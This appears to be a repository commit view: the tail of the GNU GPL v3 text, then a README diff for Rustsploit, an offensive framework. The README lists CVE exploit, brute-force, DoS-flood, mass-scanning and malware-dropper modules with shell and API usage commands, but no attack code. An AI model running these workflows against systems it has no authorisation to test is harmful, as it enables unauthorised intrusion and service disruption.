Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.
+264 -65
View File
@@ -1,13 +1,15 @@
# Rustsploit 🛠️
# Rustsploit
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/testing.png)
- 📚 **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- 💬 **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
- 🌐 **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
- 🧱 **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
- **Developer Docs:** [Full guide covering module lifecycle,shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
- **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
---
@@ -20,38 +22,60 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
6. [CLI Usage](#cli-usage)
7. [API Server Mode](#api-server-mode)
8. [Proxy Workflow](#proxy-workflow)
9. [How Modules Are Discovered](#how-modules-are-discovered)
10. [Contributing](#contributing)
11. [Credits](#credits)
8. [How Modules Are Discovered](#how-modules-are-discovered)
9. [Contributing](#contributing)
10. [Credits](#credits)
---
## Highlights
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
- **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
-**Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP brute force modules with IPv6 and TLS support where applicable
- **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
- **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, StalkRoute traceroute (root), sample modules for extension
- **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
- **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
- **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
- **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP, SNMP, L2TP, MQTT, Fortinet brute force modules with IPv6 and TLS support where applicable
- **Enhanced Telnet module:** Full IAC (Interpret As Command) negotiation, advanced error classification, verbose quick-check mode, robust buffer handling
- **Improved RDP module:** Streaming failover for large password files (>150MB), comprehensive error classification, multiple security level support (NLA/TLS/RDP/Negotiate/Auto)
- **L2TP/IPsec Bruteforce:** Multi-platform support (strongswan, xl2tpd, NetworkManager, rasdial, networksetup), proper IPsec Phase 1/2 handling
- **Framework-level honeypot detection:** Automatic detection before scans using 200 common ports (warns if 11+ ports open)
- **Advanced target normalization:** Supports IPv4, IPv6, hostnames, URLs, CIDR notation with comprehensive validation
- **Exploit coverage:** GNU inetutils-telnetd Auth Bypass (CVE-2026-24061), Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
- **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, DNS recursion tester, HTTP method scanner, StalkRoute traceroute (root), **Directory Bruteforcer**, **Sequential Fuzzer**
- **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
- **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
- **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
- **Security hardened:** Comprehensive input validation, path traversal protection, length limits, and memory-safe operations throughout
- **Honeypot detection:** Framework-level automatic detection before module execution to warn about potentially deceptive targets
- **Enhanced target handling:** Advanced normalization supporting IPv4, IPv6 (with brackets), hostnames, URLs, CIDR notation, and port extraction
- **IP exclusion ranges (EXCLUDED_RANGES):** Camxploit, Telnet bruteforce, and exploit modules now skip bogon, private, reserved, documentation, and public DNS IPs during mass scans
- **DoS / Stress testing suite:** Connection Exhaustion Flood (semaphore-bounded FDs), Null SYN Exhaustion (>1M PPS, IP spoofing), TCP Connection Flood (connect & drop, infinite mode)
---
## Module Catalog
**🚀 New Features:**
- **CLI Error Handling** - Added proper warning messages for invalid flag combinations:
- `⚠ Warning` when `-m` is used without `-t` (suggests proper usage)
- ` Note` when `-t` is used without `-m` (target available in shell)
- Error when `--harden` is used without `--api`
- Helpful usage hints printed for common mistakes
- **Improved CLI Experience** - Added `--list-modules` to browse tools without entering the shell, and `--verbose` for detailed operation logs. Fuzzy matching now suggests corrections for typos (e.g., `sample_xploit` -> `sample_exploit`).
- **Colored CLI output** - Warnings in yellow, hints in cyan, success in green
** Documentation:**
- Updated developer guide with v0.4.6 changes
- Added CLI error handling examples
Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
| Category | Highlights |
|----------|------------|
| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute |
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE |
| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion) |
| `creds/generic` | FTP anonymous & FTPS brute force (5 operation modes, JSON config), SSH brute force, SSH user enumeration (timing attack), SSH password spray, **Telnet brute force (with IAC negotiation)**, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), **RDP auth-only brute (streaming mode, multiple security levels)**, **MQTT brute force**, SNMP community string brute force, **L2TP/IPsec brute force (multi-platform)**, Fortinet SSL VPN brute force |
| `creds/camxploit` | **Camxploit camera scanner** with masscan-style parallel scanning, EXCLUDED_RANGES (bogons/private/reserved/DNS), port-based service filtering (ignores SSH/Telnet/RDP-only hosts), output file support |
| `exploits/dos` | **Connection Exhaustion Flood** (FD-bounded semaphore, connect & drop), **Null SYN Exhaustion** (raw packet, IP spoofing, XorShift128+ RNG, >1M PPS), **TCP Connection Flood** (pre-resolved DNS, high-concurrency handshake stress) |
| `exploits/*` | GNU inetutils-telnetd Auth Bypass (CVE-2026-24061), Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, **TP-Link Tapo C200 CVE-2021-4045**, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE, Flowise CVE-2025-59528 RCE, HTTP/2 Rapid Reset DoS, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed, **React2Shell CVE-2025-55182**, **SSHPWN Framework** (SFTP symlink/setuid/traversal, SCP injection/DoS, Session env injection) |
| `scanners` | Port scanner (TCP/UDP/SYN/ACK), ping sweep (ICMP/TCP/UDP/SYN/ACK), SSDP M-SEARCH enumerator, HTTP title fetcher, HTTP method scanner, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion), **SSH scanner** (banner grabbing, CIDR support), **Directory Bruteforcer (recursive, extensions)**, **Sequential Fuzzer (multi-encoding, custom charsets)** |
| `payloadgens` | `narutto_dropper`, BAT payload generator |
| `lists` | RTSP wordlists and helper files |
| `lists` | RTSP wordlists, telnet default credentials, and helper files |
Run `modules` or `find <keyword>` in the shell for the authoritative list.
@@ -61,16 +85,55 @@ Run `modules` or `find <keyword>` in the shell for the authoritative list.
### Requirements
```bash
**Debian/Ubuntu/Kali:**
```bash
sudo apt update
sudo apt install freerdp2-x11 # Required for the RDP brute force module
sudo apt install pkg-config libssl-dev freerdp2-x11 libdbus-1-dev # Required for RDP and Bluetooth modules
```
**Arch Linux:**
```bash
sudo pacman -S pkgconf openssl freerdp
```
**Gentoo:**
```bash
sudo emerge dev-libs/openssl dev-util/pkgconf net-misc/freerdp
```
**Fedora/RHEL:**
```bash
sudo dnf install pkgconf-pkg-config openssl-devel freerdp
```
### Installing Rust & Cargo
**General (Recommended for all Linux/macOS):**
```bash
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env
```
**Debian/Ubuntu/Kali:**
```bash
sudo apt install rustc cargo
```
**Arch Linux:**
```bash
sudo pacman -S rust
```
**Fedora/RHEL:**
```bash
sudo dnf install rust cargo
```
Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
### Clone + Build
```bash
```
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
cargo build
@@ -78,14 +141,30 @@ cargo build
### Run (Interactive Shell)
```bash
```
cargo run
```
### Install (optional)
### Global Installation (Run from Terminal)
To run `rustsploit` from anywhere in your terminal:
**Option 1: Cargo Install (Easiest)**
```bash
cargo install --path .
rustsploit
```
**Option 2: Manually Build Release Binary**
```bash
# 1. Build optimized release version
cargo build --release
# 2. Move binary to your path (e.g., /usr/local/bin)
sudo cp target/release/rustsploit /usr/local/bin/
# 3. Run from anywhere
rustsploit
```
---
@@ -102,7 +181,7 @@ Rustsploit ships with a standalone provisioning script that builds and launches
### Interactive Setup
```bash
```
python3 scripts/setup_docker.py
```
@@ -125,7 +204,7 @@ Existing files are never overwritten without confirmation (use `--force` for scr
All prompts have CLI equivalents:
```bash
```
python3 scripts/setup_docker.py \
--bind 0.0.0.0:8443 \
--generate-key \
@@ -138,7 +217,7 @@ python3 scripts/setup_docker.py \
This produces the Docker assets but skips the compose launch. To start the stack later:
```bash
```
docker compose -f docker-compose.rustsploit.yml up -d --build
```
@@ -146,6 +225,57 @@ Environment variables are written with 0600 permissions so secrets stay private.
---
## New Features & Improvements
### Framework-Level Enhancements
- **Honeypot Detection**: Automatically scans 200 common ports before module execution. If 11+ ports are open, warns that the target is likely a honeypot. This check runs universally on every target after it's set.
- **Advanced Target Normalization**: The framework now supports:
- IPv4: `192.168.1.1`, `192.168.1.1:8080`
- IPv6: `::1`, `[::1]`, `[::1]:8080`, `2001:db8::1`
- Hostnames: `example.com`, `example.com:443`
- URLs: `http://example.com:8080` (extracts host:port)
- CIDR notation: `192.168.1.0/24`, `2001:db8::/32`
All targets are validated for security (DoS prevention, path traversal protection, format validation).
### Module Improvements
- **Telnet Bruteforce**:
- Full Telnet IAC (Interpret As Command) negotiation support
- Enhanced error classification (connection, DNS, authentication, protocol, I/O, timeout errors)
- Verbose mode for quick checks showing all attempts and detailed statistics
- Improved buffer handling and memory management
- **RDP Bruteforce**:
- Automatic streaming failover for password files >150MB to prevent memory exhaustion
- Comprehensive error classification (ConnectionFailed, AuthenticationFailed, CertificateError, Timeout, NetworkError, ProtocolError, ToolNotFound, Unknown)
- Support for multiple RDP security levels: Auto, NLA, TLS, RDP, Negotiate
- Command injection prevention in external tool calls
- **MQTT Bruteforce**:
- Full MQTT 3.1.1 protocol implementation
- Proper CONNECT packet construction with variable-length encoding
- CONNACK response parsing and error classification
- **SSH User Enumeration**:
- Timing attack-based user enumeration (inspired by CVE-2018-15473)
- Statistical analysis with configurable samples and thresholds
- Distinguishes valid/invalid users based on authentication time differences
- **Directory Bruteforcer**:
- High-performance recursive directory scanning
- Custom wordlists with extension appending
- Smart status code filtering and size anomaly detection
- Interactive wizard for easy configuration
- **Sequential Fuzzer**:
- Targeted fuzzing for URLs, headers, and body parameters
- Multiple encoding types (URL, Double URL, Hex, Base64, etc.)
- Custom charsets (SQL, Traversal, Command Injection)
- Iterative generation for exhaustive coverage
## Interactive Shell Walkthrough
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
@@ -160,26 +290,28 @@ find find <kw> | f1 <kw> Search modules by keyword
use use <path> | u <path> Select module (ex: u exploits/heartbleed)
set target set target <value> Set current target (IPv4/IPv6/hostname)
run run | go Execute current module (honors proxy mode)
proxy_load proxy_load [file] | pl Load proxies from file (HTTP/HTTPS/SOCKS)
proxy_on/off proxy_on | pon / ... Toggle proxy usage
proxy_test proxy_test | ptest Validate proxies (URL, timeout, concurrency)
show_proxies show_proxies | proxies View proxy status
exit exit | quit | q Leave shell
```
Example session:
```text
```
rsf> f1 ssh
rsf> u creds/generic/ssh_bruteforce
rsf> set target 10.10.10.10
rsf> pl data/proxies.txt # prompts if omitted
rsf> pon
rsf> proxy_test # optional validation / filtering
rsf> go
```
If proxy mode is enabled, Rustsploit rotates through validated proxies, falls back to direct mode only after exhaustion, and politely reports successes or errors.
### Command Chaining
Execute multiple commands in a single line using the `&` separator:
```
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
rsf> f1 ssh & u creds/generic/ssh_bruteforce & set target 192.168.1.1
```
This is useful for scripting quick workflows or batching common operations together.
---
@@ -187,7 +319,7 @@ If proxy mode is enabled, Rustsploit rotates through validated proxies, falls ba
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
```bash
```
# Exploit
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
@@ -198,6 +330,20 @@ cargo run -- --command scanner --module port_scanner --target 192.168.1.1
cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
```
### Global Flags
- `--list-modules`: Print all available modules and exit.
- `--verbose (-v)`: Enable detailed logging (useful for debugging).
- `--output-format <text|json>`: Control output format (default: text).
```
# List all modules
cargo run -- --list-modules
# Run with verbose logging
cargo run -- -m exploits/sample_exploit -t 127.0.0.1 -v
```
Any module exposed to the shell can be called here. Use the `modules` shell command or browse `src/modules/**` for canonical names.
---
@@ -208,7 +354,7 @@ Rustsploit includes a REST API server mode that allows remote control of the too
### Starting the API Server
```bash
```
# Basic API server (defaults to 0.0.0.0:8080)
cargo run -- --api --api-key your-secret-key-here
@@ -236,7 +382,7 @@ cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
All endpoints except `/health` require authentication via the `Authorization` header:
```bash
```
# Bearer token format
Authorization: Bearer your-api-key-here
@@ -247,54 +393,105 @@ Authorization: ApiKey your-api-key-here
#### Public Endpoints
- **`GET /health`** - Health check (no authentication required)
```bash
```
curl http://localhost:8080/health
```
#### Protected Endpoints
- **`GET /api/modules`** - List all available modules
```bash
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
```
- **`GET /api/module/:category/:name`** - Get details for a specific module
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/module/exploits/sample_exploit
```
- **`POST /api/run`** - Execute a module on a target
```bash
```
curl -X POST -H "Authorization: Bearer your-api-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
```
- **`POST /api/validate`** - Validate parameters without execution
```
curl -X POST -H "Authorization: Bearer your-api-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/validate
```
- **`GET /api/status`** - Get API server status and statistics
```bash
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
```
- **`POST /api/rotate-key`** - Manually rotate the API key
```bash
```
curl -X POST -H "Authorization: Bearer your-api-key" \
http://localhost:8080/api/rotate-key
```
- **`GET /api/ips`** - Get all tracked IP addresses with details
```bash
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
```
- **`GET /api/auth-failures`** - Get authentication failure statistics
```bash
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
```
### telnet config
```
{
"port": 23,
"username_wordlist": "usernames.txt",
"password_wordlist": "passwords.txt",
"threads": 10,
"delay_ms": 50,
"connection_timeout": 3,
